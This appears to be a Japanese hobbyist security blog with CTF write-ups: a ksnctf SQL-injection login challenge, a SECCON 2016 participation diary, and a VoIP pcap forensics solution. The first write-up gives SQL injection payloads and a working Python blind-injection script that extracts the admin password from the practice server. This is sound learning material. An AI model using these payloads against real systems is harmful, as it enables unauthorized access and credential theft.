ChogeLog

主にセキュリティ関係の記録やWrite-up。たまーに日記も。

#6 Login

はじめに

この問題は自力で解いたわけではなく、他の方のWrite-upを読んで解きました。
自分の勉強用として書いておきます。

問題

SQLインジェクションをしろっていう問題ですねー

解法

とりあえず定番のIDに「admin」、Passに「' OR 1=1 --」と打ち込んでみる・・・

あっさりログインできてしまったけど、さすがにそれでフラグが貰えるわけではないらしい。
adminのパスワードを取得しろって問題みたい('Д')

けど、自分はSQLの知識が全くないのでこれ以上どうすればいいか分からず、Write-upを探してみた…(笑)

↓参考にしたサイト↓
ネットワークエンジニア ひよこ倶楽部 ksnctf #6 Login Write-Up

まずはパスワードの文字数を調べる!

admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--

こういう構文で調べれるみたい。
ID欄にこのSQL文を書いて、Pass欄はコメントアウトされるから空白でもOK

この場合、IDがadminかつ、adminのパスワードが100文字以下ならtrueを返すようになっている。
だから、「100」の数字を適当に変えていけばパスワードの文字数が分かる。
その結果、パスワードの文字数は・・・21文字だと判明!

文字数が分かったところで、次はいよいよパスワードを取得してみる。

使用するSQL文はコレ

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)='F'--

IDがadminかつ、adminのパスワードの1文字目がFならばtrueを返す。
「substr((--省略--),1,5)='Flag'」って書けば、adminのパスワードの1文字目~4文字目が「Flag」ならばtrueが返されてログインできる。

あとはこのSQL文を使って効率の良いブルートフォースアタックをするプログラムを書いて実行するだけ!
勉強中のPythonで書いてみました(・ω・)

import requests


def search(count, passwd):
    for x in range(33, 127):
        payload = {'id': "admin' and substr((SELECT pass FROM user WHERE id ='admin'),1," + str(count) + ")='" + passwd + chr(x) + "'--", 'pass': ""}
        r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
        html = r.text
        if len(html) > 2000:
            print(chr(x))
            return chr(x)

password = ""
for i in range(1, 22):
    password += search(i, password)

print("Flag is " + password)

初めてPythonで関数を使ってみた…(笑)

出力結果を確認すると・・・フラグゲットー!


これ、ブラインドSQLインジェクションっていう攻撃みたい?
ブルートフォースするしかこの問題を解くことはできないのかなぁー・・・?
CTFによってはブルートフォース禁止のルールもあるみたいだし、あまりしたくないというか…

でもその前にSQL勉強するしかないよね…(´Д`)(あまり興味ない)

SECCON 2016 Online CTF

12月11~12日に開催された、SECCON 2016 Online CTFに参加してきました!

初SECCON!初Online CTF!!

本当は身近な人達とチームを組んで出たかったのですが、うちの研究室の人たちはCTFに興味がないみたいなので1人で挑みました('ω')(一応セキュリティの研究室なのに…)

 

結果は100ポイント問題を2問しか解けず、合計200ポイント(+_+)

f:id:swime:20161214215537j:plain

 

 解けた問題は以下です。Write-upも一応書いてみました。。

 

他に挑戦した問題は以下です。

  • Memory Analysis
  • cheer msg
  • pppppoxy

Memory Analysisは色々考えてみたけど分からず、他の人のwrite-upを読んで理解。これくらいは解けるようになりたい…

cheer msg はとりあえず脆弱性だけ見つけて終わり。笑

BinaryやExploitは苦手意識があって全然勉強してないので、これから少しずつ手を出していければなと…。

pppppoxyはログインできれば良いっぽい?ので、辞書攻撃で何とかいけないかなぁーと思って一応やってみたんですが、まぁ現実的じゃないし無理でしたね(笑)

外国の方のwrite-upを読んでも全然分からず( ;∀;)(これから理解していきます)

 

今までCTFはfor ビギナーズしか参加したことがなかったのですが、やっぱりビギナーズと比べるとかなり難しいですねー。

まだCTFは今年から始めたばかりなので、これから1年勉強して、来年は200ポイント以上の問題も解けるように頑張りたいです(/・ω・)/

また、来年こそは研究室でチーム組んで出てみたい…!

 

SECCON自体はとても楽しかったです!!

運営の皆様、本当にお疲れさまでした。

VoIP (Forensics, 100)

SECCON2016 Online CTF の VoIP

問題

pcapファイルが与えられます。
フラグ形式は SECCON{[A-Z0-9]} となっています。


pcapファイルだから、とりあえずWiresharkで開いてみる。
f:id:swime:20161214210257j:plain

普段の研究ではWiresharkを使ってHTTP通信の解析なんかをやってるんだけど、見慣れないRTPプロトコルが使われている。
問題名からしてVoIPに関するパケットなんだろうなぁーと思いながらRTPプロトコルググると、やっぱりVoIPで使われるプロトコルみたい。
あ、ちなみにVoIPとは、インターネットとかのネットワーク上で、パケット化した音声データを受け渡しすることで音声通話を実現している技術のことです(院の講義で習った)。いわゆるIP電話というもので、Skypeとかで使われてる技術ですねー

とりあえず音声を聞きたいので、「電話」⇒「RTP」⇒「ストリーム分析」⇒「ストリームを再生」
f:id:swime:20161214212312j:plain

それっぽい波形を確認できたので、実際に音声を再生して聞いてみると…
英語で何やら喋っていて、前半は全く何を言っているのか分からなかったけど、後半に「flag is…」っていうのが聞こえたから音声で答えを言ってるっぽい。
音声データをファイルとして保存して、Windows Media Playerで頑張って聞いてみると…

SECCON{9001IVR}と言っていてフラグゲット!

この音声を聞き取る作業にはかなり苦労した…(笑)
記号の「{」や「}」を英語で何て言うのか知らなかったし、「V」と「B」のどっちか分からなかったし…(最初はVをBだと思って答えた 笑)

それにしてもWiresharkは便利すぎて恐ろしい…(悪用厳禁!!)